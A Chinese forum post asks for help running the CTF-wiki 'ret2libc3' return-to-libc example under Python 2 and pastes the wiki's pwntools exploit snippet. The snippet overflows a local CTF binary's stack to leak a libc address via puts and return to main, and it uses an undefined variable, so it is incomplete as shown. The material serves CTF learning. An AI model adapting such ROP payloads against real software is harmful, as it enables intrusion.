有师傅用Python2跑过CTFwiki里的ret2libc3例程吗，我这边pwnlib一直报错，找了很久也没找到什么原因
附个链接：https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#3

wiki给出的EXP如下
#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']

main = ret2libc3.symbols['main']
print ("leak libc_start_main_got addr and return to main again")
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
